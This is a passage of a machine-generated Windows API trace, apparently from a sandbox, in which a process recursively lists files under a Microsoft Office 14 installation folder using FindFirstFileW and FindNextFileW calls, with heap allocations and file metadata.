nFileSizeHigh=0x0, nFileSizeLow=0x39988, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPOLK.DLL", cAlternateFileName="")) returned 1 [0205.181] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x551a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXACS.PDL", cAlternateFileName="")) returned 1 [0205.181] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x34188, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXDB2.PDL", cAlternateFileName="")) returned 1 [0205.181] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x16db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXGENERC.PDL", cAlternateFileName="")) returned 1 [0205.181] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x2ada0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXOLEDB.PDL", cAlternateFileName="")) returned 1 [0205.182] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x63fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXORACLE.PDL", cAlternateFileName="")) returned 1 [0205.182] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x2fda8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXSSRV.PDL", cAlternateFileName="")) returned 1 [0205.182] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5adb1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x4db80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXUTIL.DLL", cAlternateFileName="")) returned 1 [0205.182] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e2cf00, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7e2cf00, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x499c, dwReserved0=0x0, dwReserved1=0x0, cFileName="JFONT.DAT", cAlternateFileName="")) returned 1 [0205.182] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x89e6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LATIN1.SHP", cAlternateFileName="")) returned 1 [0205.182] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5d88a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xaa570, dwReserved0=0x0, dwReserved1=0x0, cFileName="LGND.DLL", cAlternateFileName="")) returned 1 [0205.182] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51fe2db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Library", cAlternateFileName="")) returned 1 [0205.182] GetProcessHeap () returned 0x550000 [0205.182] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0205.183] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Library\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51fe2db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0205.183] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51fe2db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0205.183] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Analysis", cAlternateFileName="")) returned 1 [0205.183] GetProcessHeap () returned 0x550000 [0205.183] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0205.183] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0205.399] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0205.399] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x3bb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ANALYS32.XLL", cAlternateFileName="")) returned 1 [0205.399] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa1fabf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0xe0c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ATPVBAEN.XLAM", cAlternateFileName="ATPVBA~1.XLA")) returned 1 [0205.399] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa5ff110, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x6b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="FUNCRES.XLAM", cAlternateFileName="FUNCRE~1.XLA")) returned 1 [0205.399] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0xcf2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROCDB.XLAM", cAlternateFileName="PROCDB~1.XLA")) returned 1 [0205.400] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0xcf2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROCDB.XLAM", cAlternateFileName="PROCDB~1.XLA")) returned 0 [0205.400] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0205.401] GetProcessHeap () returned 0x550000 [0205.401] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0205.401] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x62688, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUROTOOL.XLAM", cAlternateFileName="EUROTO~1.XLA")) returned 1 [0205.401] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER", cAlternateFileName="")) returned 1 [0205.401] GetProcessHeap () returned 0x550000 [0205.401] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0205.401] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0205.586] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0205.586] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x6c340, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER.XLAM", cAlternateFileName="SOLVER~1.XLA")) returned 1 [0205.586] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x36158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER32.DLL", cAlternateFileName="")) returned 1 [0205.586] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x36158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER32.DLL", cAlternateFileName="")) returned 0 [0205.587] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0205.587] GetProcessHeap () returned 0x550000 [0205.587] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0205.587] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER", cAlternateFileName="")) returned 0 [0205.587] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0205.587] GetProcessHeap () returned 0x550000 [0205.587] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x36d0048 | out: hHeap=0x550000) returned 1 [0205.587] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5dfae80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xfafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOGELEMS.DLL", cAlternateFileName="")) returned 1 [0205.588] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ab4f00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x82482540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb4ab4f00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xb590, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOGMODEL.MDL", cAlternateFileName="")) returned 1 [0205.588] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c850300, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5e93400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1c850300, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x77da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOGVIEW.DLL", cAlternateFileName="")) returned 1 [0205.588] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x6960cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOOKUP.DAT", cAlternateFileName="")) returned 1 [0205.588] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ae6c00, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6ae6c00, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x65da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPIPH.DLL", cAlternateFileName="")) returned 1 [0205.588] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x473d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPISHELL.DLL", cAlternateFileName="MAPISH~1.DLL")) returned 1 [0205.588] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8c44700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8c44700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x23570, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCPS.DLL", cAlternateFileName="")) returned 1 [0205.588] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40dec00, ftCreationTime.dwHighDateTime=0x1cb7010, ftLastAccessTime.dwLowDateTime=0xcf009660, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x40dec00, ftLastWriteTime.dwHighDateTime=0x1cb7010, nFileSizeHigh=0x0, nFileSizeLow=0xfdb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEDCAT.DLL", cAlternateFileName="")) returned 1 [0205.588] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEDIA", cAlternateFileName="")) returned 1 [0205.588] GetProcessHeap () returned 0x550000 [0205.588] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x36d0048 [0205.589] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0205.923] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0205.923] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb796bf00, ftCreationTime.dwHighDateTime=0x1bd8ab7, ftLastAccessTime.dwLowDateTime=0x5ebdaad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb796bf00, ftLastWriteTime.dwHighDateTime=0x1bd8ab7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPLAUSE.WAV", cAlternateFileName="")) returned 1 [0205.923] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb46b000, ftCreationTime.dwHighDateTime=0x1bfbeee, ftLastAccessTime.dwLowDateTime=0x5ed57890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb46b000, ftLastWriteTime.dwHighDateTime=0x1bfbeee, nFileSizeHigh=0x0, nFileSizeLow=0x59f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARROW.WAV", cAlternateFileName="")) returned 1 [0205.923] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90776900, ftCreationTime.dwHighDateTime=0x1bfbeeb, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90776900, ftLastWriteTime.dwHighDateTime=0x1bfbeeb, nFileSizeHigh=0x0, nFileSizeLow=0x2f676, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOMB.WAV", cAlternateFileName="")) returned 1 [0205.923] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106db200, ftCreationTime.dwHighDateTime=0x1bfc6e8, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x106db200, ftLastWriteTime.dwHighDateTime=0x1bfc6e8, nFileSizeHigh=0x0, nFileSizeLow=0x10c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.WAV", cAlternateFileName="")) returned 1 [0205.923] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, 